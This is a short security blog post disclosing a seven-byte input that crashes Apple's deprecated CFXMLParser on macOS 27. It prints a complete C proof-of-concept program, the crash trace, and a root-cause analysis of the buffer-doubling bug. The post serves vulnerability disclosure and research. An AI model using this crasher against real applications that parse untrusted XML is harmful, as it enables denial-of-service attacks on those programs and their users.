Nicolas Seriot

Security > CFXMLParser

CFXMLParser - 7-byte crasher

2026-09-25

Crashing CFXMLParser

While deprecated, CFXMLParser is still in macOS 27, and dies on seven bytes. Consider this code:

#include <CoreFoundation/CoreFoundation.h>
#include <CoreFoundation/CFXMLParser.h>

int main(void) {

    // "<a>" in UTF-16 LE + a single dangling byte
    const UInt8 bytes[] = {'<', 0, 'a', 0, '>', 0, 'X'};

    CFDataRef data = CFDataCreate(NULL, bytes, sizeof bytes);

    CFXMLTreeRef tree = CFXMLTreeCreateFromData(
        NULL, data, NULL, kCFXMLParserSkipWhitespace,
        kCFXMLNodeCurrentVersion);

    if (tree) CFRelease(tree);

    CFRelease(data);

    return 0;
}

Compile with clang -framework CoreFoundation poc.c -o poc, then run ./poc. On macOS 27.0 (26A428, arm64), the process throws the following exception:

*** Terminating app due to uncaught exception 'NSMallocException',
    reason: 'Failed to grow buffer to 70368744177664'

6.  CoreFoundation  growCharacterBuffer                 CFXMLInputStream.c
5.  CoreFoundation  getCharacterGuts                    CFXMLInputStream.c
4.  CoreFoundation  _inputStreamSkipWhitespace          CFXMLInputStream.c
3.  CoreFoundation  parseTagContent                     CFXMLParser.c
2.  CoreFoundation  CFXMLParserParse                    CFXMLParser.c
1.  CoreFoundation  CFXMLTreeCreateFromDataWithError    CFXMLParser.c

The bug

The whole bug is a confusion between bytes left versus UTF-16 characters left. The result is repeated buffer doubling until allocation fails, and a local process crash if the exception is uncaught.

The behavior is explained by the published CFXMLInputStream.c, called by CFXMLParser.c (the sources predate macOS 27).

Reading the last frames before the crash:

(4) _inputStreamSkipWhitespace requests the next character while a mark is set

(5) At byte offset 6 of 7, getCharacterGuts evaluates (6 >= 7) as false and doesn't report EOF. It then calls fillCharacterBuffer which calls loadCharacters which computes (7 - 6) / sizeof(UniChar) = 1 / 2 = 0 complete characters and leaves the byte cursor at 6. fillCharacterBuffer treats the empty read as a need for more space and grows the buffer using growCharacterBuffer. The parser retries with the same byte unread.

(6) growCharacterBuffer doubles the buffer on each retry until an allocation request fails and CoreFoundation raises NSMallocException.

I'm not aware of an exposed path in an existing app.